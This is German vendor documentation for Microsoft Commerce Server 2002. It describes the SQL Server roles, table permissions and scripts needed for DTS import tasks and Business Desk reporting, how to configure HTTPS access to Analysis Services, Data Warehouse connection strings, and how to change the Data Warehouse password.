  • Wenn Sie den Data Warehouse-Import-Assistenten ausführen und ein Paket speichern möchten, muss Ihr Konto über die Berechtigungen SELECT, INSERT und UPDATE in der Datenbank msdb auf dem SQL Server verfügen, auf dem die DTS-Tasks ausgeführt werden. Die Datenbank msdb wird vom SQL Server-Agent zum Planen von Warnungen und Aufträgen verwendet. Beim Speichern des DTS-Pakets erfolgt ein Zugriff auf diese Datenbank. Weisen Sie die gleichen Berechtigungen auch dem sysDTSPackage-Objekt zu, das Benutzern das Speichern eines DTS-Pakets ermöglicht.
  • Wenn die DTS-Tasks von Commerce Server durch den SQL Server-Agent geplant werden, sollte der SQL Server-Agent-Dienst unter einem Windows-Dienstkonto ausgeführt werden, das Mitglied der DTS_Import-Rolle ist.
  • Wenn Sie die DTS-Tasks von Commerce Server direkt über den Commerce Server-Manager, Windows Script Host oder SQL Server Enterprise Manager ausführen, sollte das Windows-Anmeldekonto ein Mitglied der DTS_Import-Rolle sein.

So führen Sie die Sicherheitsskripts für DTS-Tasks aus

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer in der Datenbank-Dropdownliste die Datenbank aus, für die Sie das Skript ausführen möchten.
  4. Klicken Sie auf Datei und dann auf Öffnen.
  5. Navigieren Sie zu den Skripts im Ordner Programme\Microsoft Commerce Server\Support, und wählen Sie das DTS-Sicherheitsskript aus, das Sie ausführen möchten.

    Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.

  6. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für die ausgewählte Datenbank auszuführen.
  7. Wiederholen Sie diese Schritte, um die verbleibenden Sicherheitsskripts für DTS-Tasks für die entsprechenden Datenbanken auszuführen.
  8. Nachdem Sie die DTS_Import-Rolle in jeder Datenbank erstellt haben, weisen Sie jeder Rolle die Konten der entsprechenden Benutzer zu, die die DTS-Tasks ausführen. Anweisungen hierzu finden Sie unter Zuweisen von SQL Server-Datenbankrollen.

Siehe auch

Berechtigungen für die Ausführung von DTS-Tasks


Skript "Dts_AdminDB_SecurityRole.sql"

Führen Sie dieses Skript für die Verwaltungsdatenbank aus. Anweisungen hierzu finden Sie unter Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen.

Das Skript erstellt die DTS_Import-Rolle in der Verwaltungsdatenbank. Fügen Sie dieser Rolle den Benutzer hinzu, der die DTS-Tasks von Commerce Server ausführen soll.

Das Skript Dts_AdminDB_SecurityRole.sql gewährt der DTS_Import-Rolle Berechtigungen für die folgenden Tabellen der Verwaltungsdatenbank.

Tabellen in Verwaltungsdatenbank | Erforderliche Berechtigungen für DTS-Tasks
ExtendedProps | SELECT INSERT UPDATE DELETE
Pupdbscripts | SELECT
ResourceProps | SELECT INSERT UPDATE DELETE
Resources | SELECT UPDATE
SiteResources | SELECT
Sites | SELECT UPDATE
SystemProps | SELECT

Siehe auch

Berechtigungen für die Ausführung von DTS-Tasks


Skript "Dts_CommerceDB_Campaign_SecurityRole.sql"

Führen Sie dieses Skript für die Kampagnendatenbank aus. Anweisungen hierzu finden Sie unter Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen.

Das Skript erstellt die DTS_Import-Rolle in der Kampagnendatenbank. Fügen Sie dieser Rolle den Benutzer hinzu, der den DTS-Task zum Import von Kampagnendaten ausführen soll.

Das Skript Dts_CommerceDB_Campaign_SecurityRole.sql gewährt der DTS_Import-Rolle die SELECT-Berechtigung für die folgenden Tabellen der Kampagnendatenbank:

ad_item
campaign
campaign_item
campaign_item_types
creative
creative_size
creative_type
creative_type_xref
customer
dm_item
event_type
industry_code
order_discount
page_group
page_group_xref
target
target_group
target_group_xref

Siehe auch

Berechtigungen für die Ausführung von DTS-Tasks


Skript "Dts_CommerceDB_Catalog_SecurityRole.sql"

Führen Sie dieses Skript für die Katalogdatenbank aus. Anweisungen hierzu finden Sie unter Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen.

Das Skript erstellt die DTS_Import-Rolle in der Katalogdatenbank. Fügen Sie dieser Rolle den Benutzer hinzu, der den DTS-Task zum Import von Produktkatalogen ausführen soll.

Das Skript Dts_CommerceDB_Catalog_SecurityRole.sql gewährt der DTS_Import-Rolle die SELECT-Berechtigung für die folgenden Tabellen der Katalogdatenbank:

  • CatalogGlobal
  • CatalogAttributes
  • Alle Tabellen und Ansichten, die das Präfix der Katalognamens aus der Tabelle CatalogGlobal aufweisen

Siehe auch

Berechtigungen für die Ausführung von DTS-Tasks


Skript "Dts_CommerceDB_Transaction_SecurityRole.sql"

Führen Sie dieses Skript für die Transaktionsdatenbank aus. Anweisungen hierzu finden Sie unter Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen.

Das Skript erstellt die DTS_Import-Rolle in der Transaktionsdatenbank. Fügen Sie dieser Rolle den Benutzer hinzu, der den DTS-Task zum Import von Transaktionsdaten ausführen soll.

Das Skript Dts_CommerceDB_Transaction_SecurityRole.sql gewährt der DTS_Import-Rolle die SELECT-Berechtigung für die folgenden Tabellen der Transaktionsdatenbank:

OrderFormHeader
OrderFormLineItems
OrderGroup
OrderGroupAddresses
TransCategory
TransDimension

Siehe auch

Berechtigungen für die Ausführung von DTS-Tasks


Skript "Dts_CommerceDB_UPM_SecurityRole.sql"

Führen Sie dieses Skript für die Profildatenbank aus. Anweisungen hierzu finden Sie unter Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen.

Das Skript erstellt die DTS_Import-Rolle in der Profildatenbank. Fügen Sie dieser Rolle den Benutzer hinzu, der den DTS-Task zum Import von Profildaten ausführen soll.

Das Skript Dts_CommerceDB_UPM_SecurityRole.sql gewährt der DTS_Import-Rolle die SELECT-Berechtigung für die folgenden Tabellen der Profildatenbank:

ClassDef
ClsAttrib
ColDef
CommerceServerCatalogs
GroupMem
MemAttrib
MemberDef
RelDef
SourceAttrib
SourceDef
TableDef

Änderungen des Profilschemas

Wenn Sie das Profilschema ändern und neue Objekte hinzufügen, müssen Sie für diese Objekte SELECT-Berechtigungen gewähren, damit der Task zum Import von Profildaten korrekt ausgeführt wird.

Beispielsweise müssen Sie beim Entpacken einer Lösungssite SELECT-Berechtigungen für die folgenden Tabellen für das Profilschema gewähren, das in den Lösungssites enthalten ist:

Addresses
BlanketPOs
OrganizationObject
UserObject

Siehe auch

Berechtigungen für die Ausführung von DTS-Tasks


Berechtigungen für die Ausführung von DTS-Tasks

Zum Ausführen von Commerce Server-DTS-Tasks muss das Anmeldekonto wie folgt konfiguriert sein:

  • Das Konto muss ein Mitglied der DTS_Import-Rolle in der Datenbank sein, für die der DTS-Task ausgeführt wird.
  • Weisen Sie auf dem Computer, auf dem die DTS-Tasks ausgeführt werden, das Konto DTSImport der Gruppe der Hauptbenutzer zu.
  • Das Konto muss dem Benutzer dbo in der Data Warehouse-Datenbank zugeordnet sein. Führen Sie zum Zuordnen eines Anmeldnamens zu dbo in Query Analyzer die gespeicherte Prozedur sp_addalias wie folgt aus:
    Exec sp_addalias 'Domäne\Anmeldung','dbo'

    Sie können die gespeicherte Prozedur sp_addalias nur dann in Query Analyzer ausführen, wenn Sie mit Systemadministratorrechten angemeldet sind.

    Die gespeicherte Prozedur sp_addalias wird nicht ordnungsgemäß ausgeführt, wenn der Benutzer im Data Warehouse bereits registriert ist. Verwenden Sie für die Zuweisung des Kontos ausschließlich die gespeicherte Prozedur sp_addalias.

  • Das Konto muss ein Mitglied der Administrators-Rolle für die COM+-Anwendung Config von Commerce Server auf dem Computer sein, auf dem die DTS-Tasks ausgeführt werden sollen.

    Nur Benutzer in der Administrators-Rolle können das GlobalConfig2-Objekt instantiieren, das für die Ausführung der DTS-Tasks benötigt wird. Weitere Informationen zur Administrators-Rolle für die Anwendung Config finden Sie unter COM+-Anwendung Config von Commerce Server.

  • Wenn Sie den Data Warehouse-Import-Assistenten ausführen und ein Paket speichern möchten, muss Ihr Konto über die Berechtigungen SELECT, INSERT und UPDATE in der Datenbank msdb auf dem SQL Server verfügen, auf dem die DTS-Tasks ausgeführt werden. Die Datenbank msdb wird vom SQL Server-Agent zum Planen von Warnungen und Aufträgen verwendet. Beim Speichern des DTS-Pakets erfolgt ein Zugriff auf diese Datenbank. Weisen Sie die gleichen Berechtigungen auch dem sysDTSPackage-Objekt zu, das Benutzern das Speichern eines DTS-Pakets ermöglicht.

In der folgenden Tabelle sind die Rollen aufgelistet, zu denen das Anmeldekonto gehören muss, um bestimmte DTS-Tasks ausführen zu können.

DTS-Task | Erforderliche Rolle
Konfigurationssynchronisation | DTS_Import-Rolle in der Verwaltungsdatenbank
Import von Webserverprotokollen | DTS_Import-Rolle in der Verwaltungsdatenbank
Transaktionsdatenimport | DTS_Import-Rolle in der Transaktionsdatenbank
Produktkatalogimport | DTS_Import-Rolle in der Katalogdatenbank
Datenlöschung | DTS_Import-Rolle in der Verwaltungsdatenbank
IP-Auflösung | Keine weiteren Rollen erforderlich
Berichtsvorbereitung | Gruppe der OLAP-Administratoren

Hinweise

  • Führen Sie das Skript CatalogSecurityRoles und das Skript Dts_CommerceDB_Catalog_SecurityRole nach dem Durchführen der folgenden Aufgaben erneut aus:
    • Erstellen neuer Kataloge
    • Hinzufügen von Sprachen zu einem Katalog
    • Erneutes Erstellen virtueller Kataloge
  • Führen Sie das Skript Dts_CommerceDB_Campaign_SecurityRole erneut aus, nachdem Sie neue Kampagnen erstellt haben.
  • Wenn Sie die Profildatenbank erweitern (d. h. neue Profildefinitionen erstellen) möchten, weisen Sie dem Konto DTSImport manuell Berechtigungen zu.
  • Die COM+-Anwendung Config muss ein Mitglied der db_owner-Rolle auf dem Data Warehouse-SQL Server sein.

Informationen zu den Berechtigungen, die zum Ausführen des DTS-Modell-Generator-Tasks benötigt werden, finden Sie unter Sichern einer Bereitstellung des Vorhersagedienstes.

Siehe auch

Skripts zum Sichern von Datenbanken, auf die DTS-Tasks zugreifen


Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Commerce Server enthält die folgenden beiden Skripts, mit denen Sie zwei Berichtsrollen erstellen können:

  • ReportViewer.sql. Verwenden Sie dieses Skript zum Erstellen der ReportViewer-Rolle in der Data Warehouse-SQL Server-Datenbank. Die ReportViewer-Rolle beinhaltet Berechtigungen, mit denen Business Desk-Benutzer folgende Aufgaben ausführen können:
    • Ausführen und Anzeigen dynamischer und statischer Berichte
    • Löschen abgeschlossener statischer Berichte
  • ReportAdvanced.sql. Verwenden Sie dieses Skript zum Erstellen der ReportAdvanced-Rolle in der Data Warehouse-SQL Server-Datenbank. Die ReportAdvanced-Rolle beinhaltet Berechtigungen, mit denen Business Desk-Benutzer folgende Aufgaben ausführen können:
    • Speichern dynamischer Berichte
    • Ändern vorhandener, nicht systemeigener dynamischer Berichte
    • Löschen nicht systemeigener dynamischer und statischer Berichte

    Das Skript fügt sich selbst als Mitglied zur ReportViewer-Rolle hinzu. Daher übernehmen Benutzer in der ReportAdvanced-Rolle alle Berechtigungen der ReportViewer-Rolle.

Die erforderlichen Berechtigungen für die Commerce-Datenbank sind in diesen Skripts nicht enthalten. Sie müssen die CREATE TABLE-Berechtigungen für die Commerce-Datenbank zuweisen.

Diese Skripts befinden sich im Ordner \Programme\Microsoft Commerce Server\Support.

So führen Sie die Skripts "ReportViewer" und "ReportAdvanced" aus

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer in der Datenbank-Dropdownliste die Data Warehouse-SQL Server-Datenbank aus.
  4. Klicken Sie auf Datei und dann auf Öffnen.
  5. Navigieren Sie zu den Skripts im Ordner Programme\Microsoft Commerce Server\Support, und wählen Sie ReportViewer aus.

    Das Skript wird geöffnet, und der Code wird im Fenster Query Analyzer angezeigt.

  6. Klicken Sie auf der Symbolleiste auf Ausführen, um das Skript für die Data Warehouse-Datenbank auszuführen.
  7. Wiederholen Sie die Schritte, um das Skript ReportAdvanced auszuführen.

    Das Skript ReportAdvanced fügt sich selbst als Mitglied zur ReportViewer-Rolle hinzu. Daher übernehmen Benutzer in der ReportAdvanced-Rolle alle Berechtigungen der ReportViewer-Rolle.

  8. Nachdem Sie die Rollen erstellt haben, weisen Sie das Business Desk-Gruppenkonto der ReportViewer-Rolle zu. Weisen Sie anschließend das Konto ReportAdvanced der ReportAdvanced-Rolle zu. Anweisungen hierzu finden Sie unter Zuweisen von SQL Server-Datenbankrollen.


Skript "ReportViewer.sql"

Das Skript ReportViewer.sql befindet sich im Ordner \Programme\Microsoft Commerce Server\Support.

Das Skript ReportViewer.sql gewährt der ReportViewer-Rolle Berechtigungen für die Tabellen in der Data Warehouse-SQL Server-Datenbank und der OLAP-Datenbank.

In diesem Abschnitt werden die für Tabellen und Sichten gewährten Berechtigungen beschrieben.

Ausführen und Anzeigen von dynamischer Berichten (SQL): SELECT

Zwei dynamische Berichte greifen auf Daten in der Data Warehouse-SQL Server-Datenbank zu:

  • der Bericht "Registrierte Benutzer nach Registrierungsdatum"
  • der Bericht "Benutzerregistrierungsrate"

Damit Business Desk-Benutzer diese dynamischen Berichte ausführen und anzeigen können, gewährt das Skript ReportViewer.sql der ReportViewer-Rolle SELECT-Berechtigungen für die folgenden Tabellen im Data Warehouse:

Report
RegisteredUser
LinkSiteRegisteredUserRel

Ausführen und Anzeigen von dynamischen Berichten (OLAP): SELECT

Damit Business Desk-Benutzer dynamische Berichte ausführen und anzeigen können, die Daten der Data Warehouse-OLAP-Datenbank verwenden, gewährt das Skript ReportViewer.sql der ReportViewer-Rolle SELECT-Berechtigungen für die folgenden Sichten in der OLAP-Datenbank:

CampaignItemDimensionView
csdw_BuyerTypeDimensionView
csdw_CampaignEventsDXView
csdw_CampaignEventsFactView
csdw_SalesToUser
csdw_UserStatusViewLU
csdw_UserStatusViewRU
csdw_UserTypeDimensionView
csdw_VisitByUser
csdw_VisitInfoDXView
csdw_VisitInfoFactView
csdw_VisitTypeDimensionView
DateDimensionView
EventsDimensionView
FirstRequest
IsRequestDimensionView
PageGroupDimensionView
RegisteredUserDimensionView
SiteDimensionView
sysconstraints
syssegments
Trans_Predictor
UserBrowsingtoPurchaseFactView
UserRegistrationFactView

Anzeigen von statischen Berichten: SELECT

Damit Business Desk-Benutzer statische Berichte anzeigen können, die Daten der Data Warehouse-SQL Server-Datenbank verwenden, gewährt das Skript ReportViewer.sql der ReportViewer-Rolle SELECT-Berechtigungen für die folgenden Sichten in der Data Warehouse-Datenbank:

ReportDimension
ReportInstanceDbObject
ReportInstanceParam
ReportParam
ReportStatus
GroupReportJob
GroupReportStatus
GroupReportDbObject

Ausführen von statischen Berichten: INSERT

Damit Business Desk-Benutzer statische Berichte ausführen können, die Daten der Data Warehouse-SQL Server-Datenbank verwenden, gewährt das Skript ReportViewer.sql der ReportViewer-Rolle INSERT-Berechtigungen für die folgenden Tabellen in der Data Warehouse-Datenbank:

ReportInstanceDbObject
ReportInstanceParam
ReportStatus
GroupReportJob
GroupReportStatus
GroupReportDbObject

Löschen von abgeschlossenen statischen Berichten: DELETE

Damit Business Desk-Benutzer statische Berichte löschen können, die Daten der Data Warehouse-SQL Server-Datenbank verwenden, gewährt das Skript ReportViewer.sql der ReportViewer-Rolle DELETE-Berechtigungen für die folgenden Tabellen in der Data Warehouse-Datenbank:

ReportInstanceParam
ReportStatus

Siehe auch

Data Warehouse-Verbindungszeichenfolgen

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

Konfigurieren des Analysis-Server-Kontos

Zugriff auf den Analysis-Server über HTTPS


Skript "ReportAdvanced.sql"

Das Skript ReportAdvanced.sql befindet sich im Ordner \Programme\Microsoft Commerce Server\Support.

Das Skript ReportAdvanced.sql erstellt die ReportAdvanced-Datenbankrolle. Die ReportAdvanced-Rolle übernimmt alle Berechtigungen der ReportViewer-Rolle.

Das Skript ReportAdvanced.sql gewährt der ReportAdvanced-Rolle Berechtigungen für die Tabellen der Data Warehouse-SQL Server-Datenbank, sodass Business Desk-Benutzer folgende Aufgaben durchführen können:

  • Erstellen neuer dynamischer Berichte
  • Löschen benutzerdefinierter Berichte
  • Ändern vorhandener Berichte

Das Skript ReportAdvanced.sql gewährt der ReportAdvanced-Rolle die folgenden Berechtigungen für die angegebenen Data Warehouse-Tabellen:

Data Warehouse-Tabelle Berechtigung
Report
 INSERT
UPDATE
DELETE
ReportDimension
 DELETE
ReportParam
 DELETE
ReportStatus
 DELETE
GroupReportJob
 DELETE
GroupReportStatus
 DELETE
GroupReportDbObject
 DELETE


Konfigurieren des Analysis-Server-Kontos

Die folgenden Commerce Server-Sichten werden von dynamischen Berichten verwendet, die unter Verwendung der SQL Server-Datenbank ausgeführt werden. Gewähren Sie dem Konto, das Sie für den Analysis-Server (OLAP-Datenbank) definieren, SELECT-Zugriff auf all diese Sichten. Keine andere Rolle und kein anderes Konto benötigt Zugriff auf diese Sichten.

CampaignItemDimensionView
csdw_BuyerTypeDimensionView
csdw_CampaignEventsDXView
csdw_CampaignEventsFactView
csdw_SalesToUser
csdw_UserStatusViewLU
csdw_UserStatusViewRU
csdw_UserTypeDimensionView
csdw_VisitByUser
csdw_VisitInfoDXView
csdw_VisitInfoFactView
csdw_VisitTypeDimensionView
DateDimensionView
EventsDimensionView
FirstRequest
IsRequestDimensionView
PageGroupDimensionView
RegisteredUserDimensionView
SiteDimensionView
sysconstraints
syssegments
Trans_Predictor
UserBrowsingtoPurchaseFactView
UserRegistrationFactView

Siehe auch

Data Warehouse-Verbindungszeichenfolgen

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

Konfigurieren des Analysis-Server-Kontos

Zugriff auf den Analysis-Server über HTTPS


Zugriff auf den Analysis-Server über HTTPS

Hinweis

  • Für diese Funktion ist SQL Server 2000 Enterprise Edition sowie die Enterprise Edition von Analysis-Server erforderlich.

Im Geschäftsanalysesystem können Business Desk-Benutzer dynamische Berichte ausführen, indem sie über die Internetinformationsdienste (IIS) eine Verbindung zu Analysis Services aufbauen (für den Zugriff auf die OLAP-Datenbank). Dies kann über HTTP oder HTTPS erfolgen. Wenn Sie diese Verbindungsmethode über HTTPS konfigurieren, kann der PivotTable-Dienst einen Tunnel durch Firewalls oder Proxyserver zum Analysis Services-Server herstellen.

Diese Abbildung zeigt, wie Sie Ihre Site so konfigurieren können, dass Business Desk-Benutzer Berichte firewallübergreifend ausführen können.

Zum Konfigurieren des Zugriffs auf Analysis Services über HTTPS müssen Sie die folgenden Schritte ausführen:

  • Installieren Sie IIS und SQL Server Analysis Services 2000 auf demselben Computer. Anweisungen dazu finden Sie im Commerce Server 2002-Installationshandbuch.
  • Konfigurieren Sie die Analysis Services-Clientverbindungszeichenfolge (ConnStr_OLAP_Client), indem Sie den Commerce Server-Manager zum Zugreifen auf das Eigenschaftendialogfeld des Data Warehouse verwenden. In der Datenquelleneigenschaft der Verbindungszeichenfolge geben Sie einen URL an.
  • Konfigurieren Sie die Datei "Msolap.asp" mithilfe von IIS.

Für den Zugriff auf Analysis Services über HTTPS hat die Verbindungszeichenfolge ConnStr_OLAP_Client folgendes Format:

Provider=MSOLAP;user id=Domain\Username;password=Password;Data Source=https://ServerName;Initial Catalog=OLAPDatabaseName

Hinweis

  • In der oben angegebenen Verbindungszeichenfolge sollten HTTPS sowie die Standardauthentifizierung verwendet werden. Als Benutzer-ID und Kennwort kommen die entsprechenden Daten jedes gültigen Windows-Benutzerkontos des Analysis Services-Computers in der Form <Domäne>\<Benutzer-ID> in Frage (Beispiel REDMOND\SeanChai). Es wird empfohlen, das für die Berichtsrolle erstellte Windows-Konto zu verwenden, wie unter Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen beschrieben.
  • Für SSL (Secure Sockets Layer) und HTTPS sind mehr Hardwareressourcen erforderlich als für HTTP. Weitere Informationen dazu finden Sie unter "Informationen zur Verschlüsselung" in der Dokumentation zu den Internetinformationsdiensten Version 5.0.

So konfigurieren Sie die Analysis Services-Clientverbindungszeichenfolge (ConnStr_OLAP_Client)

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Data Warehouse, und klicken Sie dann auf Eigenschaften.
  2. Nehmen Sie im Dialogfeld Eigenschaften von Data Warehouse auf der Registerkarte Analysis-Server im Bereich Clientverbindung die folgenden Einstellungen vor:
    Option | Aktion
    Verbindung über HTTP herstellen | Aktivieren Sie diese Option.
    SSL verwenden | Aktivieren Sie diese Option.
    Benutzer-ID und Kennwort Geben Sie eine gültige Windows-Benutzer-ID und ein Kennwort in der Form <Domäne>\<Benutzer-ID> ein (z. B. REDMOND\SeanChai).

    Es wird empfohlen, das für die Berichtsrolle erstellte Windows-Konto zu verwenden.
    Server | Geben Sie den Namen des Analysis-Servers ein.
    Datenbank | Geben Sie den Namen der Data Warehouse-OLAP-Datenbank ein.
  3. Klicken Sie auf OK, um die vorgenommenen Änderungen zu speichern.

So konfigurieren Sie die Datei "Msolap.asp"

  1. Kopieren Sie in Windows Explorer die Datei Msolap.asp aus dem Ordner \Programme\Microsoft Analysis Services\Bin in den Ordner \Inetpub\wwwroot.
  2. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  3. Erweitern Sie den Server, den Sie verwalten, und klicken Sie anschließend auf Standardwebsite.
  4. Klicken Sie im Detailbereich mit der rechten Maustaste auf Msolap.asp, und klicken Sie anschließend auf Eigenschaften.
  5. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Datei die Option Lesen aus, und wählen Sie anschließend einen Wert für Skript-Quellenzugriff aus.
  6. Klicken Sie auf Übernehmen, um diese Eigenschaften festzulegen.
  7. Klicken Sie auf der Registerkarte Dateisicherheit im Bereich Beschränkungen für IP-Adressen und Domänennamen auf Bearbeiten.
  8. Klicken Sie auf Zugriff verweigert, und klicken Sie anschließend auf Hinzufügen, um nur autorisierten IP-Bereichen den Zugriff zu erteilen.
  9. Klicken Sie auf OK, um diese Eigenschaften festzulegen.
  10. Klicken Sie auf der Registerkarte Dateisicherheit im Abschnitt Steuerung des anonymen Zugriffs und der Authentifizierung auf Bearbeiten.
  11. Vergewissern Sie sich, dass die Option Anonymer Zugriff NICHT aktiviert ist und dass die Option Standardauthentifizierung aktiviert ist.
  12. Klicken Sie auf der Registerkarte Dateisicherheit im Abschnitt Sichere Kommunikation auf Bearbeiten.
  13. Vergewissern Sie sich, dass die Option Sicheren Kanal verlangen (SSL) aktiviert ist.

Wichtig

  • Wenn Sie kein SSL-Zertifikat auf diesem Computer eingerichtet haben, können Sie im Commerce Server-Manager im Dialogfeld Eigenschaften von Data Warehouse im Bereich Clientverbindung die Option SSL verwenden nicht verwenden. Wenn Sie dies dennoch versuchen, wird die Verbindung nicht überprüft. Informationen zum Einrichten eines SSL-Zertifikats finden Sie in der Dokumentation zu IIS.
  1. Klicken Sie auf OK, um das Dialogfeld Eigenschaften von Data Warehouse zu schließen.
  2. Starten Sie zum Implementieren der neuen Eigenschaften IIS neu, indem Sie den Befehl IISReset verwenden.

Siehe auch

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen


Konfigurieren von DataWarehouse-Verbindungszeichenfolgen

Feedback zu dieser Seite senden Commerce Server 2002

Konfigurieren von Data Warehouse-Verbindungszeichenfolgen

Sie können die Data Warehouse-Verbindungszeichenfolgen programmgesteuert oder mithilfe des Commerce Server-Managers konfigurieren.

Verwenden des Commerce Server-Managers zum Konfigurieren der Verbindungszeichenfolgen

Programmgesteuertes Konfigurieren der Verbindungszeichenfolgen

Abfragen zum Lesen der Data Warehouse-Verbindungszeichenfolgen aus der Verwaltungsdatenbank

Verwenden des Commerce Server-Managers zum Konfigurieren der Verbindungszeichenfolgen

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Data Warehouse, und klicken Sie dann auf Eigenschaften.
  2. Geben Sie auf der Registerkarte SQL Server den Authentifizierungsmodus für die Verbindungszeichenfolgen connstr_db_dw und connstr_db_Analysis an.
    • Wenn Sie die SQL Server-Authentifizierung angeben, werden in connstr_db_dw die Benutzer-ID und das Kennwort verwendet, während connstr_db_Analysis (die clientseitige Verbindungszeichenfolge) aus Sicherheitsgründen weiterhin die Windows-Authentifizierung verwendet.
    • Wenn Sie die Windows NT-Authentifizierung angeben, wird connstr_db_dw so konfiguriert, dass die Windows NT-Authentifizierung verwendet wird.

    In dem folgenden Beispieldialogfeld wird angezeigt, welche Verbindungszeichenfolgen in dem Dialogfeld konfiguriert werden.

    Ein Beispielbildschirm, in dem dargestellt wird, wie Verbindungszeichenfolgen für die SQL Server Data Warehouse-Datenbank konfiguriert werden.

  3. Geben Sie auf der Registerkarte Analysis-Server den Authentifizierungsmodus für die Verbindungszeichenfolgen ConnStr_OLAP, ConnStr_OLAP_HA und ConnStr_OLAP_Client an.

    Im folgenden Beispieldialogfeld wird angezeigt, welche Verbindungszeichenfolgen in den jeweiligen Bereichen des Dialogfelds konfiguriert werden.

Ein Beispielbildschirm, in dem dargestellt wird, wie Verbindungszeichenfolgen für den Analysis-Server konfiguriert werden.

Programmgesteuertes Konfigurieren der Verbindungszeichenfolgen

Wenn Sie die Data Warehouse-Verbindungszeichenfolgen programmgesteuert konfigurieren, muss eine Reihe analysierter Eigenschaften ebenfalls aktualisiert werden.

  • Wenn Sie die SQL Server-Verbindungszeichenfolgen von Data Warehouse (ConnStr_dw, connstr_db_dw und connstr_db_Analysis) aktualisieren, müssen Sie auch die folgenden analysierten Eigenschaften aktualisieren:
    Eigenschaft Beschreibung
    Schema_ctlgDbName
            Der Name der Data Warehouse-Datenbank, z. B. BlankSite_dw.
    Schema_ctlgName
            Der Name des Schemakatalogs, z. B. DWSchema.
    Schema_ctlgUserID
            Die Benutzer-ID der Data Warehouse-Verbindungszeichenfolge. Diese Zeichenfolge sollte leer sein, wenn Sie die Windows-Authentifizierung verwenden.
    Schema_ctlgPsw
            Das Kennwort der Data Warehouse-Verbindungszeichenfolge. Diese Zeichenfolge sollte leer sein, wenn Sie die Windows-Authentifizierung verwenden.
    Schema_ctlgSqlServerName
            Der Data Warehouse-SQL Server-Name.
  • Wenn Sie die Analyis-Server-Verbindungzeichenfolge (OLAP-Datenbank) ConnStr_OLAP aktualisieren, müssen Sie ebenfalls die folgenden analysierten Eigenschaften aktualisieren:
    Eigenschaft Beschreibung
    Schema_ctlgNameOLAPDbName
            Der Name der Analysis-Server-OLAP-Datenbank.
    Schema_ctlgNameOLAPServerName
            Der Name des Analysis-Servers.

Abfragen zum Lesen der Data Warehouse-Verbindungszeichenfolgen aus der Verwaltungsdatenbank

Sie können die folgenden Abfragen zum Lesen der Data Warehouse-Verbindungszeichenfolgen aus der MSCS_Admin-Datenbank verwenden. Mithilfe der folgenden Abfragen können Sie festzustellen, welche Verbindungszeichenfolgen in der Verwaltungsdatenbank gespeichert sind:

Select s_Value from ResourceProps where s_PropertyName = 'connstr_db_dw'
Select s_Value from ResourceProps where s_PropertyName = 'ConnStr_DB_Analysis'
Select s_Value from ResourceProps where s_PropertyName = 'ConnStr_OLAP'
Select s_Value from ResourceProps where s_PropertyName = 'ConnStr_OLAP_Client'
Select s_Value from ResourceProps where s_PropertyName = 'ConnStr_OLAP_HA'

Siehe auch

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

Konfigurieren des Analysis-Server-Kontos

Zugriff auf den Analysis-Server über HTTPS

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen


Ändern des DataWarehouse-Kennworts

Feedback zu dieser Seite senden Commerce Server 2002

Ändern des Data Warehouse-Kennworts

Wenn Sie das Systemadministratorkennwort für Ihren SQL Server-Computer ändern, müssen Sie auch das Kennwort im Commerce Server Data Warehouse sowie die Verbindungszeichenfolgen für alle Ressourcen ändern.

Das Data Warehouse-Kennwort muss an zwei Stellen geändert werden:

  • In der globalen Data Warehouse-Ressource, in der die Verbindungszeichenfolge zur SQL Server Data Warehouse-Datenbank angegeben ist.
  • In der Data Warehouse-OLAP-Datenbank. Zwischen dieser Datenbank und der SQL Server-Data Warehouse-Datenbank besteht eine Verbindung.

So ändern Sie das Data Warehouse-Kennwort

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft Commerce Server 2002, und klicken Sie auf Commerce Server-Manager.
  2. Erweitern Sie im Commerce Server-Manager Globale Ressourcen, klicken Sie mit der rechten Maustaste auf das Data Warehouse, für das Sie das Kennwort ändern möchten, und klicken Sie anschließend auf Eigenschaften.
  3. Klicken Sie im Dialogfeld Eigenschaften von Data Warehouse auf die Registerkarte SQL Server.
  4. Geben Sie auf der Registerkarte SQL Server im Feld Kennwort das neue Kennwort ein, und klicken Sie anschließend auf OK.
  5. Erweitern Sie im Commerce Server-Manager den Knoten Analysis-Server, dann den Namen des OLAP-Servers, die OLAP-Datenbank und anschließend Datenquellen.
  6. Klicken Sie mit der rechten Maustaste auf die Data Warehouse-Datenquelle (z. B. COMMERCE_DataWarehouse), und klicken Sie dann auf Bearbeiten.
  7. Geben Sie im Dialogfeld Datenverknüpfungseigenschaften das neue Kenwort ein, und klicken Sie auf OK.

Siehe auch

Konfigurieren einer globalen Ressource

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

Konfigurieren des Analysis-Server-Kontos

Zugriff auf den Analysis-Server über HTTPS


Ändern des Bericht-Manager-Kontos

